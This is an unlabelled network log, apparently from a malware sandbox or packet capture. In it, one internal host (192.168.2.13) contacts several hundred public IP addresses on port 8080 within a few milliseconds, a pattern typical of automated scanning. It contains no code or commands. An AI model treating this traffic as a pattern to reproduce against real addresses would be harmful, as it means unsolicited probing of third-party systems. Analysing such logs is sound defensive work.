Feb 19, 2025 19:43:18.271874905 CET	26802	8080	192.168.2.13	62.160.10.2
Feb 19, 2025 19:43:18.271874905 CET	26802	8080	192.168.2.13	31.119.31.53
Feb 19, 2025 19:43:18.271874905 CET	26802	8080	192.168.2.13	85.37.5.216
Feb 19, 2025 19:43:18.271876097 CET	26802	8080	192.168.2.13	94.203.19.172
Feb 19, 2025 19:43:18.271897078 CET	26802	8080	192.168.2.13	62.117.234.113
Feb 19, 2025 19:43:18.271897078 CET	26802	8080	192.168.2.13	31.202.208.77
Feb 19, 2025 19:43:18.271897078 CET	26802	8080	192.168.2.13	62.36.143.234
Feb 19, 2025 19:43:18.271897078 CET	26802	8080	192.168.2.13	62.103.189.40
Feb 19, 2025 19:43:18.271897078 CET	26802	8080	192.168.2.13	31.168.199.35
Feb 19, 2025 19:43:18.271897078 CET	26802	8080	192.168.2.13	31.107.67.121
Feb 19, 2025 19:43:18.271898031 CET	26802	8080	192.168.2.13	85.13.109.171
Feb 19, 2025 19:43:18.271898031 CET	26802	8080	192.168.2.13	94.58.184.127
Feb 19, 2025 19:43:18.271898031 CET	26802	8080	192.168.2.13	31.15.6.41
Feb 19, 2025 19:43:18.271900892 CET	26802	8080	192.168.2.13	95.20.164.245
Feb 19, 2025 19:43:18.271923065 CET	26802	8080	192.168.2.13	95.37.138.114
Feb 19, 2025 19:43:18.271923065 CET	26802	8080	192.168.2.13	31.144.98.33
Feb 19, 2025 19:43:18.271924019 CET	26802	8080	192.168.2.13	95.250.20.75
Feb 19, 2025 19:43:18.271927118 CET	26802	8080	192.168.2.13	94.30.156.102
Feb 19, 2025 19:43:18.271955013 CET	26802	8080	192.168.2.13	94.41.243.157
Feb 19, 2025 19:43:18.271969080 CET	26802	8080	192.168.2.13	85.54.66.10
Feb 19, 2025 19:43:18.271969080 CET	26802	8080	192.168.2.13	31.89.151.225
Feb 19, 2025 19:43:18.271986008 CET	26802	8080	192.168.2.13	31.92.207.3
Feb 19, 2025 19:43:18.271998882 CET	26802	8080	192.168.2.13	62.254.67.168
Feb 19, 2025 19:43:18.272005081 CET	26802	8080	192.168.2.13	31.252.136.59
Feb 19, 2025 19:43:18.272005081 CET	26802	8080	192.168.2.13	94.226.9.114
Feb 19, 2025 19:43:18.272001028 CET	26802	8080	192.168.2.13	85.77.150.165
Feb 19, 2025 19:43:18.272016048 CET	26802	8080	192.168.2.13	94.234.132.134
Feb 19, 2025 19:43:18.272001028 CET	26802	8080	192.168.2.13	95.4.161.66
Feb 19, 2025 19:43:18.272001028 CET	26802	8080	192.168.2.13	62.236.209.12
Feb 19, 2025 19:43:18.272034883 CET	26802	8080	192.168.2.13	62.49.54.207
Feb 19, 2025 19:43:18.272038937 CET	26802	8080	192.168.2.13	95.28.250.192
Feb 19, 2025 19:43:18.272067070 CET	26802	8080	192.168.2.13	94.150.254.38
Feb 19, 2025 19:43:18.272093058 CET	26802	8080	192.168.2.13	95.3.155.1
Feb 19, 2025 19:43:18.272104979 CET	26802	8080	192.168.2.13	62.219.38.93
Feb 19, 2025 19:43:18.272104979 CET	26802	8080	192.168.2.13	85.191.63.34
Feb 19, 2025 19:43:18.272109985 CET	26802	8080	192.168.2.13	62.38.148.137
Feb 19, 2025 19:43:18.272124052 CET	26802	8080	192.168.2.13	95.228.42.204
Feb 19, 2025 19:43:18.272124052 CET	26802	8080	192.168.2.13	62.57.203.183
Feb 19, 2025 19:43:18.272154093 CET	26802	8080	192.168.2.13	31.159.79.42
Feb 19, 2025 19:43:18.272162914 CET	26802	8080	192.168.2.13	95.93.55.167
Feb 19, 2025 19:43:18.272191048 CET	26802	8080	192.168.2.13	62.174.37.160
Feb 19, 2025 19:43:18.272192955 CET	26802	8080	192.168.2.13	31.221.46.17
Feb 19, 2025 19:43:18.272207975 CET	26802	8080	192.168.2.13	62.54.247.168
Feb 19, 2025 19:43:18.272222042 CET	26802	8080	192.168.2.13	62.85.15.111
Feb 19, 2025 19:43:18.272222996 CET	26802	8080	192.168.2.13	31.237.37.17
Feb 19, 2025 19:43:18.272247076 CET	26802	8080	192.168.2.13	85.3.176.173
Feb 19, 2025 19:43:18.272247076 CET	26802	8080	192.168.2.13	62.8.169.35
Feb 19, 2025 19:43:18.272247076 CET	26802	8080	192.168.2.13	94.96.96.8
Feb 19, 2025 19:43:18.272252083 CET	26802	8080	192.168.2.13	85.233.136.240
Feb 19, 2025 19:43:18.272260904 CET	26802	8080	192.168.2.13	95.174.30.13
Feb 19, 2025 19:43:18.272268057 CET	26802	8080	192.168.2.13	62.130.114.102
Feb 19, 2025 19:43:18.272290945 CET	26802	8080	192.168.2.13	95.251.199.105
Feb 19, 2025 19:43:18.272275925 CET	26802	8080	192.168.2.13	94.115.157.188
Feb 19, 2025 19:43:18.272294998 CET	26802	8080	192.168.2.13	31.138.170.209
Feb 19, 2025 19:43:18.272309065 CET	26802	8080	192.168.2.13	85.173.6.29
Feb 19, 2025 19:43:18.272309065 CET	26802	8080	192.168.2.13	85.92.121.80
Feb 19, 2025 19:43:18.272309065 CET	26802	8080	192.168.2.13	94.25.25.75
Feb 19, 2025 19:43:18.272309065 CET	26802	8080	192.168.2.13	62.205.83.177
Feb 19, 2025 19:43:18.272309065 CET	26802	8080	192.168.2.13	94.66.200.14
Feb 19, 2025 19:43:18.272309065 CET	26802	8080	192.168.2.13	85.153.175.107
Feb 19, 2025 19:43:18.272309065 CET	26802	8080	192.168.2.13	94.34.106.138
Feb 19, 2025 19:43:18.272316933 CET	26802	8080	192.168.2.13	31.1.80.151
Feb 19, 2025 19:43:18.272316933 CET	26802	8080	192.168.2.13	62.221.236.184
Feb 19, 2025 19:43:18.272340059 CET	26802	8080	192.168.2.13	31.16.162.229
Feb 19, 2025 19:43:18.272341967 CET	26802	8080	192.168.2.13	95.18.141.156
Feb 19, 2025 19:43:18.272355080 CET	26802	8080	192.168.2.13	31.101.106.157
Feb 19, 2025 19:43:18.272358894 CET	26802	8080	192.168.2.13	95.124.26.146
Feb 19, 2025 19:43:18.272358894 CET	26802	8080	192.168.2.13	94.85.98.37
Feb 19, 2025 19:43:18.272378922 CET	26802	8080	192.168.2.13	85.97.65.101
Feb 19, 2025 19:43:18.272408009 CET	26802	8080	192.168.2.13	31.205.188.149
Feb 19, 2025 19:43:18.272418022 CET	26802	8080	192.168.2.13	62.234.160.238
Feb 19, 2025 19:43:18.272418022 CET	26802	8080	192.168.2.13	94.131.126.216
Feb 19, 2025 19:43:18.272428036 CET	26802	8080	192.168.2.13	94.89.23.103
Feb 19, 2025 19:43:18.272433996 CET	26802	8080	192.168.2.13	94.71.254.94
Feb 19, 2025 19:43:18.272433996 CET	26802	8080	192.168.2.13	85.243.232.4
Feb 19, 2025 19:43:18.272438049 CET	26802	8080	192.168.2.13	95.229.124.85
Feb 19, 2025 19:43:18.272447109 CET	26802	8080	192.168.2.13	95.61.61.217
Feb 19, 2025 19:43:18.272448063 CET	26802	8080	192.168.2.13	94.194.14.95
Feb 19, 2025 19:43:18.272449970 CET	26802	8080	192.168.2.13	95.203.198.171
Feb 19, 2025 19:43:18.272463083 CET	26802	8080	192.168.2.13	95.181.35.108
Feb 19, 2025 19:43:18.272464037 CET	26802	8080	192.168.2.13	62.196.124.159
Feb 19, 2025 19:43:18.272520065 CET	26802	8080	192.168.2.13	85.2.12.53
Feb 19, 2025 19:43:18.272531033 CET	26802	8080	192.168.2.13	85.228.164.145
Feb 19, 2025 19:43:18.272538900 CET	26802	8080	192.168.2.13	62.210.145.91
Feb 19, 2025 19:43:18.272559881 CET	26802	8080	192.168.2.13	31.47.122.222
Feb 19, 2025 19:43:18.272567034 CET	26802	8080	192.168.2.13	62.120.16.147
Feb 19, 2025 19:43:18.272593021 CET	26802	8080	192.168.2.13	85.80.255.9
Feb 19, 2025 19:43:18.272593975 CET	26802	8080	192.168.2.13	31.122.185.250
Feb 19, 2025 19:43:18.272593021 CET	26802	8080	192.168.2.13	94.218.174.66
Feb 19, 2025 19:43:18.272614002 CET	26802	8080	192.168.2.13	94.174.102.54
Feb 19, 2025 19:43:18.272617102 CET	26802	8080	192.168.2.13	95.93.21.244
Feb 19, 2025 19:43:18.272630930 CET	26802	8080	192.168.2.13	94.101.28.205
Feb 19, 2025 19:43:18.272660017 CET	26802	8080	192.168.2.13	85.238.90.40
Feb 19, 2025 19:43:18.272660971 CET	26802	8080	192.168.2.13	62.78.36.207
Feb 19, 2025 19:43:18.272672892 CET	26802	8080	192.168.2.13	62.244.172.66
Feb 19, 2025 19:43:18.272676945 CET	26802	8080	192.168.2.13	31.129.244.116
Feb 19, 2025 19:43:18.272676945 CET	26802	8080	192.168.2.13	94.60.226.201
Feb 19, 2025 19:43:18.272691965 CET	26802	8080	192.168.2.13	94.205.53.192
Feb 19, 2025 19:43:18.272701025 CET	26802	8080	192.168.2.13	62.137.96.130
Feb 19, 2025 19:43:18.272722006 CET	26802	8080	192.168.2.13	31.61.123.37
Feb 19, 2025 19:43:18.272727966 CET	26802	8080	192.168.2.13	85.5.119.201
Feb 19, 2025 19:43:18.272737026 CET	26802	8080	192.168.2.13	95.57.3.37
Feb 19, 2025 19:43:18.272737026 CET	26802	8080	192.168.2.13	85.53.5.39
Feb 19, 2025 19:43:18.272742987 CET	26802	8080	192.168.2.13	85.4.213.188
Feb 19, 2025 19:43:18.272753000 CET	26802	8080	192.168.2.13	62.203.17.19
Feb 19, 2025 19:43:18.272777081 CET	26802	8080	192.168.2.13	62.26.35.48
Feb 19, 2025 19:43:18.272799969 CET	26802	8080	192.168.2.13	95.230.45.23
Feb 19, 2025 19:43:18.272814989 CET	26802	8080	192.168.2.13	94.189.252.43
Feb 19, 2025 19:43:18.272814989 CET	26802	8080	192.168.2.13	94.226.11.201
Feb 19, 2025 19:43:18.272836924 CET	26802	8080	192.168.2.13	85.163.73.180
Feb 19, 2025 19:43:18.272841930 CET	26802	8080	192.168.2.13	94.35.158.169
Feb 19, 2025 19:43:18.272841930 CET	26802	8080	192.168.2.13	62.13.90.163
Feb 19, 2025 19:43:18.272845030 CET	26802	8080	192.168.2.13	85.53.44.175
Feb 19, 2025 19:43:18.272855043 CET	26802	8080	192.168.2.13	94.41.187.55
Feb 19, 2025 19:43:18.272866011 CET	26802	8080	192.168.2.13	95.100.57.221
Feb 19, 2025 19:43:18.272886992 CET	26802	8080	192.168.2.13	62.170.241.39
Feb 19, 2025 19:43:18.272886992 CET	26802	8080	192.168.2.13	85.221.160.17
Feb 19, 2025 19:43:18.272911072 CET	26802	8080	192.168.2.13	62.152.2.64
Feb 19, 2025 19:43:18.272918940 CET	26802	8080	192.168.2.13	31.68.159.153
Feb 19, 2025 19:43:18.272933960 CET	26802	8080	192.168.2.13	85.235.146.67
Feb 19, 2025 19:43:18.272972107 CET	26802	8080	192.168.2.13	62.82.132.122
Feb 19, 2025 19:43:18.272975922 CET	26802	8080	192.168.2.13	62.6.105.225
Feb 19, 2025 19:43:18.272991896 CET	26802	8080	192.168.2.13	94.104.16.174
Feb 19, 2025 19:43:18.272991896 CET	26802	8080	192.168.2.13	94.150.59.184
Feb 19, 2025 19:43:18.272993088 CET	26802	8080	192.168.2.13	95.192.144.206
Feb 19, 2025 19:43:18.272991896 CET	26802	8080	192.168.2.13	31.25.107.167
Feb 19, 2025 19:43:18.272994041 CET	26802	8080	192.168.2.13	62.122.244.184
Feb 19, 2025 19:43:18.272991896 CET	26802	8080	192.168.2.13	95.159.130.229
Feb 19, 2025 19:43:18.272994041 CET	26802	8080	192.168.2.13	85.121.121.110
Feb 19, 2025 19:43:18.272994041 CET	26802	8080	192.168.2.13	94.68.143.115
Feb 19, 2025 19:43:18.272994041 CET	26802	8080	192.168.2.13	85.156.24.83
Feb 19, 2025 19:43:18.272994041 CET	26802	8080	192.168.2.13	85.122.36.248
Feb 19, 2025 19:43:18.272994041 CET	26802	8080	192.168.2.13	62.159.152.66
Feb 19, 2025 19:43:18.273013115 CET	26802	8080	192.168.2.13	85.113.48.154
Feb 19, 2025 19:43:18.273015022 CET	26802	8080	192.168.2.13	31.187.180.108
Feb 19, 2025 19:43:18.273039103 CET	26802	8080	192.168.2.13	85.59.80.194
Feb 19, 2025 19:43:18.273044109 CET	26802	8080	192.168.2.13	94.187.93.140
Feb 19, 2025 19:43:18.273044109 CET	26802	8080	192.168.2.13	85.1.103.36
Feb 19, 2025 19:43:18.273058891 CET	26802	8080	192.168.2.13	31.0.66.118
Feb 19, 2025 19:43:18.273081064 CET	26802	8080	192.168.2.13	62.107.42.58
Feb 19, 2025 19:43:18.273118973 CET	26802	8080	192.168.2.13	31.134.131.97
Feb 19, 2025 19:43:18.273118973 CET	26802	8080	192.168.2.13	31.38.154.59
Feb 19, 2025 19:43:18.273118973 CET	26802	8080	192.168.2.13	62.175.111.32
Feb 19, 2025 19:43:18.273118973 CET	26802	8080	192.168.2.13	62.185.114.169
Feb 19, 2025 19:43:18.273123980 CET	26802	8080	192.168.2.13	95.108.236.189
Feb 19, 2025 19:43:18.273128986 CET	26802	8080	192.168.2.13	95.219.166.135
Feb 19, 2025 19:43:18.273129940 CET	26802	8080	192.168.2.13	94.104.149.248
Feb 19, 2025 19:43:18.273139000 CET	26802	8080	192.168.2.13	31.31.212.170
Feb 19, 2025 19:43:18.273143053 CET	26802	8080	192.168.2.13	95.96.162.94
Feb 19, 2025 19:43:18.273143053 CET	26802	8080	192.168.2.13	62.234.148.116
Feb 19, 2025 19:43:18.273144007 CET	26802	8080	192.168.2.13	31.235.238.240
Feb 19, 2025 19:43:18.273144007 CET	26802	8080	192.168.2.13	62.45.16.52
Feb 19, 2025 19:43:18.273164034 CET	26802	8080	192.168.2.13	62.94.210.247
Feb 19, 2025 19:43:18.273164988 CET	26802	8080	192.168.2.13	62.197.20.179
Feb 19, 2025 19:43:18.273180962 CET	26802	8080	192.168.2.13	85.135.238.251
Feb 19, 2025 19:43:18.273197889 CET	26802	8080	192.168.2.13	62.62.72.149
Feb 19, 2025 19:43:18.273211956 CET	26802	8080	192.168.2.13	95.177.250.224
Feb 19, 2025 19:43:18.273225069 CET	26802	8080	192.168.2.13	94.105.222.72
Feb 19, 2025 19:43:18.273232937 CET	26802	8080	192.168.2.13	85.244.163.224
Feb 19, 2025 19:43:18.273250103 CET	26802	8080	192.168.2.13	62.173.52.102
Feb 19, 2025 19:43:18.273262024 CET	26802	8080	192.168.2.13	62.81.58.13
Feb 19, 2025 19:43:18.273262024 CET	26802	8080	192.168.2.13	62.233.229.220
Feb 19, 2025 19:43:18.273272991 CET	26802	8080	192.168.2.13	31.254.12.243
Feb 19, 2025 19:43:18.273278952 CET	26802	8080	192.168.2.13	62.2.91.236
Feb 19, 2025 19:43:18.273283958 CET	26802	8080	192.168.2.13	94.145.253.244
Feb 19, 2025 19:43:18.273296118 CET	26802	8080	192.168.2.13	94.83.34.110
Feb 19, 2025 19:43:18.273296118 CET	26802	8080	192.168.2.13	62.210.61.164
Feb 19, 2025 19:43:18.273320913 CET	26802	8080	192.168.2.13	94.49.116.67
Feb 19, 2025 19:43:18.273334980 CET	26802	8080	192.168.2.13	31.54.128.200
Feb 19, 2025 19:43:18.273340940 CET	26802	8080	192.168.2.13	94.206.27.77
Feb 19, 2025 19:43:18.273340940 CET	26802	8080	192.168.2.13	85.27.227.105
Feb 19, 2025 19:43:18.273355961 CET	26802	8080	192.168.2.13	95.66.115.167
Feb 19, 2025 19:43:18.273361921 CET	26802	8080	192.168.2.13	31.171.241.164
Feb 19, 2025 19:43:18.273364067 CET	26802	8080	192.168.2.13	95.69.155.253
Feb 19, 2025 19:43:18.273375034 CET	26802	8080	192.168.2.13	95.183.140.144
Feb 19, 2025 19:43:18.273394108 CET	26802	8080	192.168.2.13	62.124.134.121
Feb 19, 2025 19:43:18.273411036 CET	26802	8080	192.168.2.13	62.217.137.150
Feb 19, 2025 19:43:18.273418903 CET	26802	8080	192.168.2.13	62.11.28.170
Feb 19, 2025 19:43:18.273422956 CET	26802	8080	192.168.2.13	95.112.115.179
Feb 19, 2025 19:43:18.273422956 CET	26802	8080	192.168.2.13	62.199.224.93
Feb 19, 2025 19:43:18.273425102 CET	26802	8080	192.168.2.13	62.209.211.31
Feb 19, 2025 19:43:18.273437977 CET	26802	8080	192.168.2.13	95.80.114.47
Feb 19, 2025 19:43:18.273452997 CET	26802	8080	192.168.2.13	85.53.126.177
Feb 19, 2025 19:43:18.273457050 CET	26802	8080	192.168.2.13	94.110.252.162
Feb 19, 2025 19:43:18.273468971 CET	26802	8080	192.168.2.13	85.134.159.64
Feb 19, 2025 19:43:18.273478031 CET	26802	8080	192.168.2.13	62.34.246.163
Feb 19, 2025 19:43:18.273478031 CET	26802	8080	192.168.2.13	95.12.137.67
Feb 19, 2025 19:43:18.273498058 CET	26802	8080	192.168.2.13	31.84.154.236
Feb 19, 2025 19:43:18.273509979 CET	26802	8080	192.168.2.13	62.121.31.223
Feb 19, 2025 19:43:18.273514986 CET	26802	8080	192.168.2.13	85.214.0.93
Feb 19, 2025 19:43:18.273530006 CET	26802	8080	192.168.2.13	31.185.2.80
Feb 19, 2025 19:43:18.273540974 CET	26802	8080	192.168.2.13	95.10.7.235
Feb 19, 2025 19:43:18.273540974 CET	26802	8080	192.168.2.13	94.50.102.254
Feb 19, 2025 19:43:18.273555040 CET	26802	8080	192.168.2.13	94.124.167.147
Feb 19, 2025 19:43:18.273561001 CET	26802	8080	192.168.2.13	94.105.225.116
Feb 19, 2025 19:43:18.273569107 CET	26802	8080	192.168.2.13	31.143.44.50
Feb 19, 2025 19:43:18.273569107 CET	26802	8080	192.168.2.13	31.72.217.230
Feb 19, 2025 19:43:18.273591995 CET	26802	8080	192.168.2.13	95.239.166.38
Feb 19, 2025 19:43:18.273598909 CET	26802	8080	192.168.2.13	94.15.35.204
Feb 19, 2025 19:43:18.273627043 CET	26802	8080	192.168.2.13	94.248.255.120
Feb 19, 2025 19:43:18.273632050 CET	26802	8080	192.168.2.13	85.226.213.200
Feb 19, 2025 19:43:18.273642063 CET	26802	8080	192.168.2.13	95.145.195.215
Feb 19, 2025 19:43:18.273648024 CET	26802	8080	192.168.2.13	94.136.47.255
Feb 19, 2025 19:43:18.273669004 CET	26802	8080	192.168.2.13	62.172.74.232
Feb 19, 2025 19:43:18.273678064 CET	26802	8080	192.168.2.13	95.119.238.36
Feb 19, 2025 19:43:18.273689032 CET	26802	8080	192.168.2.13	95.230.49.235
Feb 19, 2025 19:43:18.273693085 CET	26802	8080	192.168.2.13	31.235.238.83
Feb 19, 2025 19:43:18.273706913 CET	26802	8080	192.168.2.13	85.126.27.115
Feb 19, 2025 19:43:18.273715019 CET	26802	8080	192.168.2.13	31.31.11.60
Feb 19, 2025 19:43:18.273720026 CET	26802	8080	192.168.2.13	31.30.73.186
Feb 19, 2025 19:43:18.273731947 CET	26802	8080	192.168.2.13	31.51.57.182
Feb 19, 2025 19:43:18.273731947 CET	26802	8080	192.168.2.13	62.61.144.109
Feb 19, 2025 19:43:18.273731947 CET	26802	8080	192.168.2.13	31.72.227.128
Feb 19, 2025 19:43:18.273744106 CET	26802	8080	192.168.2.13	62.108.54.207
Feb 19, 2025 19:43:18.273751020 CET	26802	8080	192.168.2.13	31.19.69.140
Feb 19, 2025 19:43:18.273756981 CET	26802	8080	192.168.2.13	31.121.207.53
Feb 19, 2025 19:43:18.273781061 CET	26802	8080	192.168.2.13	95.103.37.107
Feb 19, 2025 19:43:18.273798943 CET	26802	8080	192.168.2.13	62.99.164.138
Feb 19, 2025 19:43:18.273808956 CET	26802	8080	192.168.2.13	94.248.75.168
Feb 19, 2025 19:43:18.273827076 CET	26802	8080	192.168.2.13	95.216.93.13
Feb 19, 2025 19:43:18.273830891 CET	26802	8080	192.168.2.13	31.163.32.209
Feb 19, 2025 19:43:18.273844004 CET	26802	8080	192.168.2.13	94.39.201.213
Feb 19, 2025 19:43:18.273852110 CET	26802	8080	192.168.2.13	95.163.124.142
Feb 19, 2025 19:43:18.273852110 CET	26802	8080	192.168.2.13	85.123.42.211
Feb 19, 2025 19:43:18.273868084 CET	26802	8080	192.168.2.13	85.14.241.126
Feb 19, 2025 19:43:18.273881912 CET	26802	8080	192.168.2.13	95.188.127.158
Feb 19, 2025 19:43:18.273891926 CET	26802	8080	192.168.2.13	85.202.148.118
Feb 19, 2025 19:43:18.273901939 CET	26802	8080	192.168.2.13	31.36.255.145
Feb 19, 2025 19:43:18.273905039 CET	26802	8080	192.168.2.13	62.208.60.234
Feb 19, 2025 19:43:18.273912907 CET	26802	8080	192.168.2.13	95.33.133.28
Feb 19, 2025 19:43:18.273921967 CET	26802	8080	192.168.2.13	31.37.203.207
Feb 19, 2025 19:43:18.273931026 CET	26802	8080	192.168.2.13	95.27.130.113
Feb 19, 2025 19:43:18.273940086 CET	26802	8080	192.168.2.13	94.215.162.164
Feb 19, 2025 19:43:18.273957014 CET	26802	8080	192.168.2.13	95.214.4.217
Feb 19, 2025 19:43:18.273978949 CET	26802	8080	192.168.2.13	62.233.136.66
Feb 19, 2025 19:43:18.273986101 CET	26802	8080	192.168.2.13	85.177.94.65
Feb 19, 2025 19:43:18.273996115 CET	26802	8080	192.168.2.13	95.24.81.95
Feb 19, 2025 19:43:18.273999929 CET	26802	8080	192.168.2.13	31.187.77.145
Feb 19, 2025 19:43:18.273999929 CET	26802	8080	192.168.2.13	95.120.144.24
Feb 19, 2025 19:43:18.273999929 CET	26802	8080	192.168.2.13	62.255.32.148
Feb 19, 2025 19:43:18.273999929 CET	26802	8080	192.168.2.13	95.210.16.142
Feb 19, 2025 19:43:18.273999929 CET	26802	8080	192.168.2.13	85.251.207.99
Feb 19, 2025 19:43:18.273999929 CET	26802	8080	192.168.2.13	31.114.215.45
Feb 19, 2025 19:43:18.274019957 CET	26802	8080	192.168.2.13	94.20.49.118
Feb 19, 2025 19:43:18.274043083 CET	26802	8080	192.168.2.13	85.72.140.213
Feb 19, 2025 19:43:18.274043083 CET	26802	8080	192.168.2.13	85.192.26.221
Feb 19, 2025 19:43:18.274043083 CET	26802	8080	192.168.2.13	31.199.114.254
Feb 19, 2025 19:43:18.274049997 CET	26802	8080	192.168.2.13	62.183.128.216
Feb 19, 2025 19:43:18.274050951 CET	26802	8080	192.168.2.13	94.218.251.21
Feb 19, 2025 19:43:18.274050951 CET	26802	8080	192.168.2.13	85.195.26.232
Feb 19, 2025 19:43:18.274050951 CET	26802	8080	192.168.2.13	94.43.128.90
Feb 19, 2025 19:43:18.274085045 CET	26802	8080	192.168.2.13	94.174.158.174
Feb 19, 2025 19:43:18.274085045 CET	26802	8080	192.168.2.13	95.6.201.84
Feb 19, 2025 19:43:18.274085999 CET	26802	8080	192.168.2.13	94.235.28.254
Feb 19, 2025 19:43:18.274087906 CET	26802	8080	192.168.2.13	62.101.98.50
Feb 19, 2025 19:43:18.274094105 CET	26802	8080	192.168.2.13	31.117.249.202
Feb 19, 2025 19:43:18.274096966 CET	26802	8080	192.168.2.13	62.40.248.14
Feb 19, 2025 19:43:18.274101019 CET	26802	8080	192.168.2.13	85.36.140.211
Feb 19, 2025 19:43:18.274116039 CET	26802	8080	192.168.2.13	85.251.115.176
Feb 19, 2025 19:43:18.274121046 CET	26802	8080	192.168.2.13	94.55.96.71
Feb 19, 2025 19:43:18.274132013 CET	26802	8080	192.168.2.13	85.120.154.38
Feb 19, 2025 19:43:18.274137020 CET	26802	8080	192.168.2.13	95.48.182.76
Feb 19, 2025 19:43:18.274158001 CET	26802	8080	192.168.2.13	85.128.113.117
Feb 19, 2025 19:43:18.274158001 CET	26802	8080	192.168.2.13	95.117.25.78
Feb 19, 2025 19:43:18.274189949 CET	26802	8080	192.168.2.13	95.243.35.232
Feb 19, 2025 19:43:18.274199963 CET	26802	8080	192.168.2.13	31.221.162.237
Feb 19, 2025 19:43:18.274214029 CET	26802	8080	192.168.2.13	94.75.35.244
Feb 19, 2025 19:43:18.274233103 CET	26802	8080	192.168.2.13	62.118.75.64
Feb 19, 2025 19:43:18.274245977 CET	26802	8080	192.168.2.13	31.14.144.127
Feb 19, 2025 19:43:18.274259090 CET	26802	8080	192.168.2.13	62.11.110.42
Feb 19, 2025 19:43:18.274259090 CET	26802	8080	192.168.2.13	31.45.72.145
Feb 19, 2025 19:43:18.274269104 CET	26802	8080	192.168.2.13	85.195.157.104
Feb 19, 2025 19:43:18.274291039 CET	26802	8080	192.168.2.13	62.116.37.224
Feb 19, 2025 19:43:18.274291039 CET	26802	8080	192.168.2.13	62.145.62.194
Feb 19, 2025 19:43:18.274302959 CET	26802	8080	192.168.2.13	85.43.97.182
Feb 19, 2025 19:43:18.274313927 CET	26802	8080	192.168.2.13	31.4.109.218
Feb 19, 2025 19:43:18.274313927 CET	26802	8080	192.168.2.13	31.58.42.240
Feb 19, 2025 19:43:18.274315119 CET	26802	8080	192.168.2.13	62.239.106.69
Feb 19, 2025 19:43:18.274313927 CET	26802	8080	192.168.2.13	95.173.86.11
Feb 19, 2025 19:43:18.274313927 CET	26802	8080	192.168.2.13	31.127.163.174
Feb 19, 2025 19:43:18.274319887 CET	26802	8080	192.168.2.13	85.119.18.102
Feb 19, 2025 19:43:18.274333000 CET	26802	8080	192.168.2.13	62.222.110.215
Feb 19, 2025 19:43:18.274346113 CET	26802	8080	192.168.2.13	85.252.111.122
Feb 19, 2025 19:43:18.274349928 CET	26802	8080	192.168.2.13	85.42.80.112
Feb 19, 2025 19:43:18.274353027 CET	26802	8080	192.168.2.13	85.64.160.111
Feb 19, 2025 19:43:18.274372101 CET	26802	8080	192.168.2.13	94.115.211.56
Feb 19, 2025 19:43:18.274372101 CET	26802	8080	192.168.2.13	85.164.186.119
Feb 19, 2025 19:43:18.274384975 CET	26802	8080	192.168.2.13	94.158.235.4
Feb 19, 2025 19:43:18.274394989 CET	26802	8080	192.168.2.13	62.227.188.41
Feb 19, 2025 19:43:18.274405003 CET	26802	8080	192.168.2.13	94.193.146.198
Feb 19, 2025 19:43:18.274429083 CET	26802	8080	192.168.2.13	31.5.183.189
Feb 19, 2025 19:43:18.274439096 CET	26802	8080	192.168.2.13	95.210.120.75
Feb 19, 2025 19:43:18.274442911 CET	26802	8080	192.168.2.13	95.87.8.109
Feb 19, 2025 19:43:18.274456024 CET	26802	8080	192.168.2.13	31.3.93.188
Feb 19, 2025 19:43:18.274488926 CET	26802	8080	192.168.2.13	62.177.84.149
Feb 19, 2025 19:43:18.274501085 CET	26802	8080	192.168.2.13	62.165.178.55
Feb 19, 2025 19:43:18.274512053 CET	26802	8080	192.168.2.13	62.140.211.77
Feb 19, 2025 19:43:18.274517059 CET	26802	8080	192.168.2.13	85.198.158.14
Feb 19, 2025 19:43:18.274534941 CET	26802	8080	192.168.2.13	62.76.231.105
Feb 19, 2025 19:43:18.274534941 CET	26802	8080	192.168.2.13	31.1.91.241
Feb 19, 2025 19:43:18.274552107 CET	26802	8080	192.168.2.13	85.1.250.34
Feb 19, 2025 19:43:18.274566889 CET	26802	8080	192.168.2.13	62.147.89.31
Feb 19, 2025 19:43:18.274588108 CET	26802	8080	192.168.2.13	95.37.62.168
Feb 19, 2025 19:43:18.274600029 CET	26802	8080	192.168.2.13	62.180.63.79
Feb 19, 2025 19:43:18.274611950 CET	26802	8080	192.168.2.13	94.186.159.98
Feb 19, 2025 19:43:18.274619102 CET	26802	8080	192.168.2.13	31.76.66.129
Feb 19, 2025 19:43:18.274633884 CET	26802	8080	192.168.2.13	31.91.79.128
Feb 19, 2025 19:43:18.274642944 CET	26802	8080	192.168.2.13	85.226.151.77
Feb 19, 2025 19:43:18.274658918 CET	26802	8080	192.168.2.13	94.80.207.5
Feb 19, 2025 19:43:18.274658918 CET	26802	8080	192.168.2.13	95.22.45.97
Feb 19, 2025 19:43:18.274662018 CET	26802	8080	192.168.2.13	85.40.40.114
Feb 19, 2025 19:43:18.274688959 CET	26802	8080	192.168.2.13	85.10.43.183
Feb 19, 2025 19:43:18.274693012 CET	26802	8080	192.168.2.13	62.86.226.61
Feb 19, 2025 19:43:18.274707079 CET	26802	8080	192.168.2.13	31.248.21.196
Feb 19, 2025 19:43:18.274714947 CET	26802	8080	192.168.2.13	85.104.81.202
Feb 19, 2025 19:43:18.274738073 CET	26802	8080	192.168.2.13	62.207.231.34
Feb 19, 2025 19:43:18.274739981 CET	26802	8080	192.168.2.13	31.112.200.55
Feb 19, 2025 19:43:18.274749994 CET	26802	8080	192.168.2.13	85.187.88.196
Feb 19, 2025 19:43:18.274749994 CET	26802	8080	192.168.2.13	85.228.247.13
Feb 19, 2025 19:43:18.274758101 CET	26802	8080	192.168.2.13	62.239.232.225
Feb 19, 2025 19:43:18.274759054 CET	26802	8080	192.168.2.13	31.79.130.246
Feb 19, 2025 19:43:18.274759054 CET	26802	8080	192.168.2.13	95.197.113.157
Feb 19, 2025 19:43:18.274759054 CET	26802	8080	192.168.2.13	31.192.87.52
Feb 19, 2025 19:43:18.274760008 CET	26802	8080	192.168.2.13	62.125.81.190
Feb 19, 2025 19:43:18.274760008 CET	26802	8080	192.168.2.13	31.11.197.90
Feb 19, 2025 19:43:18.274769068 CET	26802	8080	192.168.2.13	62.202.44.19
Feb 19, 2025 19:43:18.274781942 CET	26802	8080	192.168.2.13	95.7.121.182
Feb 19, 2025 19:43:18.274801970 CET	26802	8080	192.168.2.13	94.155.188.56
Feb 19, 2025 19:43:18.274807930 CET	26802	8080	192.168.2.13	31.52.24.115
Feb 19, 2025 19:43:18.274821997 CET	26802	8080	192.168.2.13	31.35.255.146
Feb 19, 2025 19:43:18.274823904 CET	26802	8080	192.168.2.13	31.126.184.31
Feb 19, 2025 19:43:18.274827957 CET	26802	8080	192.168.2.13	62.159.241.183
Feb 19, 2025 19:43:18.274835110 CET	26802	8080	192.168.2.13	31.228.81.120
